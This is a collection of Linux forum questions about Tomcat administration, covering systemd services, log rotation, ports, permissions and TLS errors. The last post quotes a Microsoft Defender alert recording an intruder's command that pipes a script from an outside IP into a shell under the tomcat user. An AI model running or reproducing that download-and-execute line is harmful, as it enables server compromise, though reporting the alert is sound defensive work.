I installed tomcat9 on ubuntu 16.04, which start normally on command line, sudo /usr/local/tomcat9/startup.sh and all projects in webapps can be loaded. However, it always hangs on loading "webapps/docs" if i try to start it on OS boot. Here's the snapshot of catalina.out: ---------- I've tried 3 kinds of methods to auto-start tomcat. 1. setup a service in diretory init.d ------------------------------------- 1) Copy file "catalina.sh" into "/etc/init.d", and rename it to "tomcat" 2) add Evirement Virables to this file: CATALINA_HOME=/usr/local/tomcat9 JAVA_HOME=/usr/lib/jvm/jdk1.8.0_111 3) use command service tomcat start 2. setup a service in systemd ----------------------------- 1) edit file "/etc/systemd/system/tomcat.service" 2) load configuration in command line systemctl daemon-reload systemctl start tomat 3) check status systemctl status tomat which shows tomcat service start successfully 3. Setup "rc.local" service first, and add start script in "rc.local" file ------------------------------------------------------------------------ 1) edit file "/etc/systemd/system/rc-local.servic" [Unit] Description=/etc/rc.local Compatibility ConditionPathExists=/etc/rc.local [Service] Type=forking ExecStart=/etc/rc.local start TimeoutSec=0 StandardOutput=tty RemainAfterExit=yes SysVStartPriority=99 [Install] WantedBy=multi-user.target 2) edit file "/etc/rc.local " sudo /usr/local/tomcat9/bin/startup.sh 3) enable "rc.local" service sudo systemctl enable rc-local.service 4) reboot All these methods gave the same result: tomcat started, but loading webapps imcomplete, hanging on loading the first app "docs". I have no idea on it, please help.

I am working on linux server. I want to know whether there exists a PID for each tomcat service running on any server. If a PID for a particular tomcat service exists, then can we find the service name corresponding to that PID? Can we list all the tomcat services running on the server?

I installed tomcat9 on my EC2 server using commands sudo su yum install tomcat9 Then I tried running the command: /usr/sbin/tomcat9 start Then the error message is: Failed to start tomcat.service: Unit tomcat.service not found. Am I missing anything? What file is tomcat.service? Where do I need to create it? What does it contain? sudo tee /etc/systemd/system/tomcat.service 5月 16 16:08:18 ip-172-31-25-139.us-west-2.compute.internal systemd: tomcat.service: Failed at step EXEC spawning /usr/share/tomcat9/bin/catalina.sh: No such file or dire> 5月 16 16:08:18 ip-172-31-25-139.us-west-2.compute.internal systemd: tomcat.service: Control process exited, code=exited, status=203/EXEC 5月 16 16:08:18 ip-172-31-25-139.us-west-2.compute.internal systemd: tomcat.service: Failed with result 'exit-code'. 5月 16 16:08:18 ip-172-31-25-139.us-west-2.compute.internal systemd: Failed to start tomcat.service - Tomcat Server. I checked the directory /usr/share/tomcat9/bin and I did not see the file catalina.sh. Am I missing any steps in my installation?

This is related to https://unix.stackexchange.com/questions/499053/logrotate-not-able-to-truncate-catalina-out which is incorrectly closed as a duplicate, even though the duplicate question describes a subtly different issue with a very different solution. Question (abbreviated to the relevant parts for brevity): With the following logrotate configuration, why does the log rotate, but catalina.out does not get truncated? (This is different from the behavior in the question linked as a duplicate, where rotating did not happen at all). /log/apache-tomcat/catalina.out{ copytruncate daily size 256M rotate 8 missingok maxage 7 } logrotate -v verifies that copying the log file, compressing and truncating all are happening.

I have downloaded tomcat on my local box and when i try to run in the is the output which i have. Using CATALINA_BASE: /home/user/Downloads/apache-tomcat-8.0.23 Using CATALINA_HOME: /home/user/Downloads/apache-tomcat-8.0.23 Using CATALINA_TMPDIR: /home/user/Downloads/apache-tomcat-8.0.23/temp Using JRE_HOME: /usr/lib/jvm/java-1.8.0-openjdk-1.8.0.161-0.b14.el7_4.x86_64/jre Using CLASSPATH: /home/user/Downloads/apache-tomcat-8.0.23/bin/bootstrap.jar:/home/user/Downloads/apache-tomcat-8.0.23/bin/tomcat-juli.jar Tomcat started. The output from netstat -plntu Proto Recv-Q Send-q LocalAddress Foreign Address State tcp6 3 0 0 :::8080 :::* LISTEN When i try to open ip:8080 there is no page loadeded.

I have following envirnonment Spring boot (3.1.1) web app, running on tomcat 10.x as a systemd service, on RHEL9. It uses a ehcache, configured to be persistent across restarts. If I start & stop tomcat manually per ./startup and ./shutdown, I can see a

DEBUG o.e.c.EhcacheManager - Close successful.

in my log. That means, the cache is closed properly, and the cache is still valid after restart. On starting & stopping tomcat per service I miss that log entry, and indeed the caches are not properly closed and renewed after restart.

[Service]
...
ExecStart=/opt/xxx/apache-tomcat/bin/catalina.sh run
ExecStop=/opt/xxx/apache-tomcat/bin/shutdown.sh

These are the same scripts I run manually. Something I am not understanding is happening in this shutdown phase. Is the service stop running into a timeout and than forcing a ungracefull tomcat stop? ###### Actions taken: Log level for EHCachemanger set started/stopped manually and per service

I'm following this guide to setup Tomcat 8 on Ubuntu Server 16.04 using Apache2's mod_jk module as a reverse proxy: https://www.digitalocean.com/community/tutorials/how-to-encrypt-tomcat-8-connections-with-apache-or-nginx-on-ubuntu-16-04 Everything works until the last step, which is to change the HTTP and AJP Connectors in server.xml to only listen on localhost. Here's the change I made to the AJP Connector: Before this change, typing https://myhostname takes me to the Tomcat administration page; after it, I get "503 Service Unavailable". I've temporarily turned off my firewall and removed AppArmor. Here's the relevant portion of mod_jk.log: jk_open_socket::jk_connect.c (817): connect to ::1:8009 failed (errno=111) ajp_connect_to_endpoint::jk_ajp_common.c (1068): (ajp13_worker) Failed opening socket to (::1:8009) (errno=111) ajp_send_request::jk_ajp_common.c (1728): (ajp13_worker) connecting to backend failed. Tomcat is probably not started or is listening on the wrong port (errno=111) What could be causing this, and how can I resolve it?

I have a fresh minimal installation of CentOS 7 that is running Tomcat on it. Im unable to pull up the site from anywhere via the browser but can see it trying to serve on 8080 from netstat. The service is running properly when I check service tomcat status (also, httpd and JAVA are running properly). I can curl localhost:8080 and get the Tomcat website code as a reply but it won't pull up from another system by going to http://IPADDRESS:8080 . If I run netstat I can see it listening for 8080, but if I run nmap against the private IP it does not show 80 (or 8080) open on it. I don't have firewall/IPTables installed on this system yet so it shouldn't be blocking it. Im able to ping the system just fine from other systems. I can't seem to find the answer to this. I've followed a lot of guides on the installation but can't find the solution. Please let me know if there is something im missing or if you have any clues. Thank you for your time!

I have two amazon instances, I have uploaded the same war in both instances, In one instance it is running properly(giving expected result) but in another instance it is giving the following error javax.servlet.ServletException: Servlet.init() for servlet [Example-RS] threw exception org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:504) org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:81) org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:650) org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:342) org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:803) org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66) org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:790) org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1459) org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49) java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) java.lang.Thread.run(Thread.java:748) Root Cause java.lang.IncompatibleClassChangeError: Implementing class java.lang.ClassLoader.defineClass1(Native Method) java.lang.ClassLoader.defineClass(ClassLoader.java:763) java.security.SecureClassLoader.defineClass(SecureClassLoader.java:142) org.apache.catalina.loader.WebappClassLoaderBase.findClassInternal(WebappClassLoaderBase.java:2283) org.apache.catalina.loader.WebappClassLoaderBase.findClass(WebappClassLoaderBase.java:811) org.apache.catalina.loader.WebappClassLoaderBase.loadClass(WebappClassLoaderBase.java:1260) org.apache.catalina.loader.WebappClassLoaderBase.loadClass(WebappClassLoaderBase.java:1119) com.sun.jersey.api.core.ScanningResourceConfig.init(ScanningResourceConfig.java:79) com.sun.jersey.api.core.PackagesResourceConfig.init(PackagesResourceConfig.java:104) com.sun.jersey.api.core.PackagesResourceConfig.(PackagesResourceConfig.java:78) com.sun.jersey.api.core.PackagesResourceConfig.(PackagesResourceConfig.java:89) com.sun.jersey.spi.container.servlet.WebComponent.createResourceConfig(WebComponent.java:700) com.sun.jersey.spi.container.servlet.WebComponent.createResourceConfig(WebComponent.java:678) com.sun.jersey.spi.container.servlet.WebComponent.init(WebComponent.java:203) com.sun.jersey.spi.container.servlet.ServletContainer.init(ServletContainer.java:374) com.sun.jersey.spi.container.servlet.ServletContainer.init(ServletContainer.java:557) javax.servlet.GenericServlet.init(GenericServlet.java:158) org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:504) org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:81) org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:650) org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:342) org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:803) org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66) org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:790) org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1459) org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49) java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) java.lang.Thread.run(Thread.java:748) I google regarding this error, I got suggestion related to web.xml file, If it related to web.xml file then it should not be executed in another instance as well

I am having an issue with starting tomcat after I put the certifcate using APR. I have no idea why this is happening. In the catalina.out, I am getting [2025-03-01 21:55:05] [info] Loaded Apache Tomcat Native library [1.2.35] using APR version [1.7.2]. [2025-03-01 21:55:05] [info] APR capabilities: IPv6 [true], sendfile [true], accept filters [false], random [true], UDS [true]. [2025-03-01 21:55:05] [info] APR/OpenSSL configuration: useAprConnector [false], useOpenSSL [true] [2025-03-01 21:55:05] [info] OpenSSL successfully initialized [OpenSSL 3.0.15 3 Sep 2024] [2025-03-01 21:55:06] [info] Initializing ProtocolHandler ["http-nio-8080"] [2025-03-01 21:55:06] [info] Initializing ProtocolHandler ["https-openssl-apr-9443"] [2025-03-01 21:55:06] [crit] Failed to initialize component [Connector[org.apache.coyote.http11.Http11AprProtocol-9443]] [2025-03-01 21:55:06] [crit] org.apache.catalina.LifecycleException: Protocol handler initialization failed [2025-03-01 21:55:06] [crit] at org.apache.catalina.connector.Connector.initInternal(Connector.java:1050) [2025-03-01 21:55:06] [crit] at org.apache.catalina.util.LifecycleBase.init(LifecycleBase.java:136) [2025-03-01 21:55:06] [crit] at org.apache.catalina.core.StandardService.initInternal(StandardService.java:554) [2025-03-01 21:55:06] [crit] at org.apache.catalina.util.LifecycleBase.init(LifecycleBase.java:136) [2025-03-01 21:55:06] [crit] at org.apache.catalina.core.StandardServer.initInternal(StandardServer.java:1045) [2025-03-01 21:55:06] [crit] at org.apache.catalina.util.LifecycleBase.init(LifecycleBase.java:136) [2025-03-01 21:55:06] [crit] at org.apache.catalina.startup.Catalina.load(Catalina.java:724) [2025-03-01 21:55:06] [crit] at org.apache.catalina.startup.Catalina.load(Catalina.java:746) [2025-03-01 21:55:06] [crit] at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) [2025-03-01 21:55:06] [crit] at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77) [2025-03-01 21:55:06] [crit] at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) [2025-03-01 21:55:06] [crit] at java.base/java.lang.reflect.Method.invoke(Method.java:569) [2025-03-01 21:55:06] [crit] at org.apache.catalina.startup.Bootstrap.load(Bootstrap.java:302) [2025-03-01 21:55:06] [crit] at org.apache.catalina.startup.Bootstrap.main(Bootstrap.java:472) [2025-03-01 21:55:06] [crit] Caused by: java.lang.IllegalArgumentException: Unable to initialize, java.io.IOException: Too short [2025-03-01 21:55:06] [crit] at org.apache.tomcat.util.net.AprEndpoint.createSSLContext(AprEndpoint.java:468) [2025-03-01 21:55:06] [crit] at org.apache.tomcat.util.net.AprEndpoint.bind(AprEndpoint.java:432) [2025-03-01 21:55:06] [crit] at org.apache.tomcat.util.net.AbstractEndpoint.bindWithCleanup(AbstractEndpoint.java:1227) [2025-03-01 21:55:06] [crit] at org.apache.tomcat.util.net.AbstractEndpoint.init(AbstractEndpoint.java:1240) [2025-03-01 21:55:06] [crit] at org.apache.coyote.AbstractProtocol.init(AbstractProtocol.java:604) [2025-03-01 21:55:06] [crit] at org.apache.coyote.http11.AbstractHttp11Protocol.init(AbstractHttp11Protocol.java:76) [2025-03-01 21:55:06] [crit] at org.apache.catalina.connector.Connector.initInternal(Connector.java:1047) [2025-03-01 21:55:06] [crit] ... 13 more [2025-03-01 21:55:06] [crit] Caused by: java.security.cert.CertificateException: Unable to initialize, java.io.IOException: Too short [2025-03-01 21:55:06] [crit] at java.base/sun.security.x509.X509CertImpl.(X509CertImpl.java:181) [2025-03-01 21:55:06] [crit] at java.base/sun.security.provider.X509Factory.engineGenerateCertificate(X509Factory.java:102) [2025-03-01 21:55:06] [crit] at java.base/java.security.cert.CertificateFactory.generateCertificate(CertificateFactory.java:355) [2025-03-01 21:55:06] [crit] at org.apache.tomcat.util.net.jsse.PEMFile$Part.toCertificate(PEMFile.java:185) [2025-03-01 21:55:06] [crit] at org.apache.tomcat.util.net.jsse.PEMFile.(PEMFile.java:156) [2025-03-01 21:55:06] [crit] at org.apache.tomcat.util.net.jsse.PEMFile.(PEMFile.java:98) [2025-03-01 21:55:06] [crit] at org.apache.tomcat.util.net.jsse.PEMFile.(PEMFile.java:94) [2025-03-01 21:55:06] [crit] at org.apache.tomcat.util.net.SSLUtilBase.getKeyManagers(SSLUtilBase.java:322) [2025-03-01 21:55:06] [crit] at org.apache.tomcat.util.net.openssl.OpenSSLUtil.getKeyManagers(OpenSSLUtil.java:98) [2025-03-01 21:55:06] [crit] at org.apache.tomcat.util.net.SSLUtilBase.createSSLContext(SSLUtilBase.java:247) [2025-03-01 21:55:06] [crit] at org.apache.tomcat.util.net.AprEndpoint.createSSLContext(AprEndpoint.java:466) [2025-03-01 21:55:06] [crit] ... 19 more [2025-03-01 21:55:06] [crit] Caused by: java.io.IOException: Too short [2025-03-01 21:55:06] [crit] at java.base/sun.security.util.DerValue.(DerValue.java:361) [2025-03-01 21:55:06] [crit] at java.base/sun.security.util.DerInputStream.getDerValue(DerInputStream.java:109) [2025-03-01 21:55:06] [crit] at java.base/sun.security.x509.X509CertImpl.parse(X509CertImpl.java:1767) [2025-03-01 21:55:06] [crit] at java.base/sun.security.x509.X509CertImpl.(X509CertImpl.java:178) [2025-03-01 21:55:06] [crit] ... 29 more [2025-03-01 21:55:06] [info] Server initialization in milliseconds [2025-03-01 21:55:06] [info] Starting service [Catalina] [2025-03-01 21:55:06] [info] Starting Servlet engine: [Apache Tomcat/9.0.70 (Debian)] my connector is setup as

What is the name of the tomcat9 service process on Debian 12? sudo systemctl status tomcat9.service ● tomcat9.service - Apache Tomcat 9 Web Application Server Loaded: loaded (/lib/systemd/system/tomcat9.service; enabled; preset: enabled) Active: active (running) since Mon 2025-02-17 20:08:17 CET; 1 week 4 days ago Docs: https://tomcat.apache.org/tomcat-9.0-doc/index.html Process: 6800 ExecStartPre=/usr/libexec/tomcat9/tomcat-update-policy.sh (code=exited, status=0/SUCCESS) Main PID: 6804 (java) Tasks: 49 (limit: 4632) Memory: 612.2M CPU: 16min 49.875s CGroup: /system.slice/tomcat9.service └─6804 /usr/lib/jvm/default-java/bin/java -Djava.util.logging.config.file=/var/lib/tomcat9/conf/logg But there is no such process called tomcat or tomcat9, however, i found that on port 8080 the process name that listens is java? I am very confused by this. Is this normal?

There are 5 servers in our autoscaling which are our live servers. Out of them 2 server facing out of storage issue related to Elastic block storage (EBS). So I have done research on which directory taking space what was the initial space just after initialization then till the out of memory issue come. Then again checked dir struc where space is gone ...Same struc is there not visible that any dir have taken 3 4 gb. but when one day I restarted my tomcat space increased to 3 4GB. I dont have any idea why its happening ? my tomcat service file location is /etc/system/systemd/tomcat.service. Then tomcat dir location is /usr/share/tomcat/ . I have removed unwanted files, packages to get 5-6GB out of 12gb of EBS. Then I used that LT to my autoscaling. Still after 4 5 or 7 days space becomes zero. Then I need to do manual autoscaling to get the new server with 4-5GB of space. I want its root cause of storage issue. Please help me. I tried to get the details of whole dir struc and space using df -h and du -h command. Then also noted down those dir struc with space after new initialization using command sudo du -h --max-depth=1 /opt/ | sort -rh* then again checked after 4 5 days but space not increased in any of the dir in whole ec2. Means there might be no physical files are accumulating on my server. For example at the start When i do check space Filesystem Size Used Avail Use% Mounted on devtmpfs 3.9G 0 3.9G 0% /dev tmpfs 3.9G 0 3.9G 0% /dev/shm tmpfs 3.9G 488K 3.9G 1% /run tmpfs 3.9G 0 3.9G 0% /sys/fs/cgroup /dev/nvme0n1p1 12G 6.4G 5.7G 53% / /dev/nvme0n1p128 10M 3.8M 6.2M 38% /boot/efi tmpfs 793M 0 793M 0% /run/user/1000 then after space becomes zero I am able to see only Filesystem Size Used Avail Use% Mounted on devtmpfs 3.9G 0 3.9G 0% /dev tmpfs 3.9G 0 3.9G 0% /dev/shm tmpfs 3.9G 488K 3.9G 1% /run tmpfs 3.9G 0 3.9G 0% /sys/fs/cgroup /dev/nvme0n1p1 12G 12G 20K 100% / /dev/nvme0n1p128 10M 3.8M 6.2M 38% /boot/efi tmpfs 793M 0 793M 0% /run/user/1000 and same dir struc i got when sapce was 5.6 GB arround . I am not able to find that any dir has taken that much space all were at the same size but the space was gone. But when i do tomcat restart space increases to 4-5GB again.

I would like to troubleshoot an issue that I think it happens only in my just made up environment. I have an almalinux 9 with apache tomcat 10 and openlogic jdk version 11. Installation seemed to work fine (all using tar.gz) and I can see at ip:9080 the tomcat greeting and I can access the manager gui. And I can see that everything is owned by the existing user tomcat. ps aux shows tomcat 16179 0.3 7.6 9282676 1897144 ? Sl Nov26 3:47 /opt/java11/bin/java -Djava.util.logging.config.file=/opt/tomcat10j11/conf/logging.properties -Djava.util.logging.man netstat -polent shows tcp6 0 0 :::9080 :::* LISTEN 1000 152959 16179/java off (0.00/0/0) I copied some war files inside the /opt/tomcat10j11/webapps/ folders and the logs from catalina.out are telling me that for every war file I got SEVERE [Catalina-utility-1] org.apache.catalina.startup.HostConfig.deployWAR Error deploying web application archive [/opt/apache-tomcat-10.1.33/webapps/name_of.war] java.lang.IllegalStateException: Error starting child Caused by: org.apache.catalina.LifecycleException: Failed to initialize component [org.apache.catalina.webresources.WarResourceSet@533c9e9a]at org.apache.catalina.util.LifecycleBase.handleSubClassException(LifecycleBase.java:406) Caused by: java.lang.IllegalArgumentException: java.io.FileNotFoundException: /opt/apache-tomcat-10.1.33/webapps/name_of.war (Permission denied) at org.apache.catalina.webresources.AbstractSingleArchiveResourceSet.initInternal(AbstractSingleArchiveResourceSet.java:141) So my assumption is that permission denied means that the folder and the file should be owned by tomcat. At that point I run chown -R tomcat:tomcat /opt/apache-tomcat-10.1.33/ after that I try to restart the server, but I keep getting the 404 error. Where should I look and how can I troubleshoot tomcat/war deployment?

We are running a third-party Java web application in Tomcat 9.0.87 on RHEL9.4. When the web app starts it raises the following exception that we (working with vendor support team) can't seem to get rid of.

2024-09-04 08:38:46,255 [ ERROR ] | SWT dispatcher | o.l.core.base.util.Threads:226 - Uncaught exception 'No more handles [gtk_init_check() failed]' received on thread Thread[SWT dispatcher,5,main]
org.eclipse.swt.SWTError: No more handles [gtk_init_check() failed]
        at org.eclipse.swt.SWT.error(Unknown Source)
        at org.eclipse.swt.widgets.Display.createDisplay(Unknown Source)
        at org.eclipse.swt.widgets.Display.create(Unknown Source)
        at org.eclipse.swt.graphics.Device.(Unknown Source)
        at org.eclipse.swt.widgets.Display.(Unknown Source)
        at org.eclipse.swt.widgets.Display.(Unknown Source)
        at org.eclipse.swt.widgets.Display.getDefault(Unknown Source)

We are running Xvfb as a service

# cat /etc/systemd/system/Xvfb.service
[Unit]
Description=X Virtual Frame Buffer Service
After=network.target

[Service]
User=root
ExecStart=/usr/bin/Xvfb :99 -ac -screen 0 1280x1024x24

[Install]
WantedBy=multi-user.target

# systemctl status Xvfb.service
● Xvfb.service - X Virtual Frame Buffer Service
     Loaded: loaded (/etc/systemd/system/Xvfb.service; enabled; preset: disabled)
     Active: active (running) since Wed 2024-09-04 08:43:52 BST; 19min ago
   Main PID: 830483 (Xvfb)
      Tasks: 1 (limit: 11104)
     Memory: 8.4M
        CPU: 27ms
     CGroup: /system.slice/Xvfb.service
             └─830483 /usr/bin/Xvfb :99 -ac -screen 0 1280x1024x24

Sep 04 08:43:52 systemd: Started X Virtual Frame Buffer Service.

Tomcat starts with

# cat /usr/share/tomcat/bin/setenv.sh
export DISPLAY=:99
export SWT_GTK3=0
export CATALINA_OPTS="-Xms2048M -Xmx2048M -XX:MaxMetaspaceSize=256M -Djava.awt.headless=true -Dprism.order=sw"

# cat /usr/share/tomcat/bin/setenv.sh
export DISPLAY=:99
export SWT_GTK3=0
export CATALINA_OPTS="-Xms2048M -Xmx2048M -XX:MaxMetaspaceSize=256M -Djava.awt.headless=true -Dprism.order=sw"
[root@gbjhvice092 ~]# systemctl status tomcat
● tomcat.service - Apache Tomcat Web Application Container
     Loaded: loaded (/usr/lib/systemd/system/tomcat.service; enabled; preset: disabled)
     Active: active (running) since Wed 2024-09-04 08:38:32 BST; 29min ago
   Main PID: 828457 (java)
      Tasks: 52 (limit: 11104)
     Memory: 777.3M
        CPU: 1min 10.333s
     CGroup: /system.slice/tomcat.service
             └─828457 /usr/lib/jvm/jre/bin/java -Djavax.sql.DataSource.Factory=org.apache.commons.dbcp.BasicDataSourceFactory -classpath /usr/share/tomcat/bin/bootstrap.jar:/usr/share/tomcat/bin/tomcat-jul>

An extract from catalina.log :

04-Sep-2024 06:12:17.666 INFO [Thread-7] org.apache.coyote.AbstractProtocol.destroy Destroying ProtocolHandler ["http-nio-8080"]
04-Sep-2024 06:12:19.160 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Server version name:   Apache Tomcat/9.0.87
04-Sep-2024 06:12:19.168 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Server built:          Jan 10 1970 04:21:54 UTC
04-Sep-2024 06:12:19.169 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Server version number: 9.0.87.0
04-Sep-2024 06:12:19.169 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log OS Name:               Linux
04-Sep-2024 06:12:19.169 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log OS Version:            5.14.0-427.31.1.el9_4.x86_64
04-Sep-2024 06:12:19.169 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Architecture:          amd64
04-Sep-2024 06:12:19.169 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Java Home:             /usr/lib/jvm/java-17-openjdk-17.0.12.0.7-2.el9.x86_64
04-Sep-2024 06:12:19.170 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log JVM Version:           17.0.12+7-LTS
04-Sep-2024 06:12:19.170 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log JVM Vendor:            Red Hat, Inc.
04-Sep-2024 06:12:19.170 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log CATALINA_BASE:         /usr/share/tomcat
04-Sep-2024 06:12:19.170 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log CATALINA_HOME:         /usr/share/tomcat
04-Sep-2024 06:12:19.208 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: --add-opens=java.base/java.lang=ALL-UNNAMED
04-Sep-2024 06:12:19.209 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: --add-opens=java.base/java.io=ALL-UNNAMED
04-Sep-2024 06:12:19.210 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: --add-opens=java.base/java.util=ALL-UNNAMED
04-Sep-2024 06:12:19.210 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: --add-opens=java.base/java.util.concurrent=ALL-UNNAMED
04-Sep-2024 06:12:19.210 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: --add-opens=java.rmi/sun.rmi.transport=ALL-UNNAMED
04-Sep-2024 06:12:19.210 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: -Djavax.sql.DataSource.Factory=org.apache.commons.dbcp.BasicDataSourceFactory
04-Sep-2024 06:12:19.210 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: -Dcatalina.base=/usr/share/tomcat
04-Sep-2024 06:12:19.210 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: -Dcatalina.home=/usr/share/tomcat
04-Sep-2024 06:12:19.210 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: -Djava.endorsed.dirs=
04-Sep-2024 06:12:19.210 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: -Djava.io.tmpdir=/var/cache/tomcat/temp
04-Sep-2024 06:12:19.210 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: -Djava.util.logging.config.file=/usr/share/tomcat/conf/logging.properties
04-Sep-2024 06:12:19.211 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager

What is the best way to find tomcat directory path on a Linux machine if tomcat is not running? I have multiple instances of tomcat. I am running locate tomcat | grep -i "[t]omcat", is there any other way given that tomcat isn't running?

One of our servers has Alfresco installed, and this is the content of /opt/alfresco/tomcat/logs: -rw-r--r-- 1 root root 4.1K Jun 29 10:41 catalina.2015-06-29.log -rw-r--r-- 1 root root 352 Jul 1 18:36 catalina.2015-07-01.log -rw-r--r-- 1 root root 1.3M Jul 13 14:49 catalina.out -rw-r--r-- 1 root root 0 Jun 29 10:38 host-manager.2015-06-29.log -rw-r--r-- 1 root root 7.9K Jun 26 19:02 localhost.2015-06-26.log -rw-r--r-- 1 root root 33K Jun 29 10:39 localhost.2015-06-29.log -rw-r--r-- 1 root root 98M Jun 17 00:00 localhost_access_log.2015-06-16.txt -rw-r--r-- 1 root root 98M Jun 18 00:00 localhost_access_log.2015-06-17.txt -rw-r--r-- 1 root root 98M Jun 19 00:00 localhost_access_log.2015-06-18.txt -rw-r--r-- 1 root root 98M Jun 20 00:00 localhost_access_log.2015-06-19.txt (...) -rw-r--r-- 1 root root 75M Jul 12 00:00 localhost_access_log.2015-07-11.txt -rw-r--r-- 1 root root 80M Jul 13 00:00 localhost_access_log.2015-07-12.txt -rw-r--r-- 1 root root 85M Jul 14 00:00 localhost_access_log.2015-07-13.txt -rw-r--r-- 1 root root 40M Jul 14 09:52 localhost_access_log.2015-07-14.txt -rw-r--r-- 1 root root 0 Jun 29 10:38 manager.2015-06-29.log Some process is obviously rotating the logs daily. However, there's nothing operating on the Tomcat logs in /etc/logrotate.d -- or even in /etc/cron.d/ or the crontab file. Is there any setting in Tomcat or Alfresco that does this? I'm asking because I want to add a "compress" option. For now I've accomplished this result via a find one-liner script put as a daily cron job, but I like to do things in a cleaner way.

I am an Azure Consultant and I am getting Microsoft Defender for cloud "Suspicious process executed by a network service" alerts for CentOS Linux. Environment: Tomcat Apache running on CentOS Linux 7.9.0 The Defender alert details are as follows:

1/6/2024 9:11:14 PM 
  java -Djava.util.logging.config.file=/opt/tomcat/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djava.security.egd=file:///dev/urandom -Djava.awt.headless=true -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -Xms512M -Xmx1024M -server -XX:+UseParallelGC -Dignore.endorsed.dirs= -classpath /opt/tomcat/bin/bootstrap.jar:/opt/tomcat/bin/tomcat-juli.jar -Dcatalina.base=/opt/tomcat -Dcatalina.home=/opt/tomcat -Djava.io.tmpdir=/opt/tomcat/temp org.apache.catalina.startup.Bootstrap start
Command line /usr/lib/jvm/java-1.8.0-openjdk-1.8.0.372.b07-1.el7_9.x86_64/jre//bin/java -Djava.util.logging.config.file=/opt/tomcat/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djava.security.egd=file:///dev/urandom -Djava.awt.headless=true -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -Xms512M -Xmx1024M -server -XX:+UseParallelGC -Dignore.endorsed.dirs= -classpath /opt/tomcat/bin/bootstrap.jar:/opt/tomcat/bin/tomcat-juli.jar -Dcatalina.base=/opt/tomcat -Dcatalina.home=/opt/tomcat -Djava.io.tmpdir=/opt/tomcat/temp org.apache.catalina.startup.Bootstrap start
Process id 7402
Image file path /usr/lib/jvm/java-1.8.0-openjdk-1.8.0.372.b07-1.el7_9.x86_64/jre/bin/java
Image file SHA1 2bffb1d3d46365ca0e78f96577123814b54dbe88
Image file last modification time May 15, 2023 8:25:05 PM
Image file java
Effective user tomcat
1/6/2024 9:11:14 PM 
  bash /bin/sh -c "cd / ;curl -fsSL http://222.108.161.27:7070/docs/da.txt  |sh"
Command line /bin/sh -c "cd / ;curl -fsSL http://222.108.161.27:7070/docs/da.txt  |sh"
Process id 7402
Image file path /usr/bin/bash
Image file SHA1 9ad737cbd8bbdddc96726156dbd3bc03936bf02f
Image file last modification time Nov 24, 2021 10:03:27 PM
Mitre techniques T1505: Server Software Component, T1059: Command and Scripting Interpreter, T1059.004: Unix Shell, T1505.003: Web Shell, T1190: Exploit Public-Facing Application
Image file bash
Effective user tomcat
Referenced in commandline http://222.108.161.27:7070/docs/da.txt 
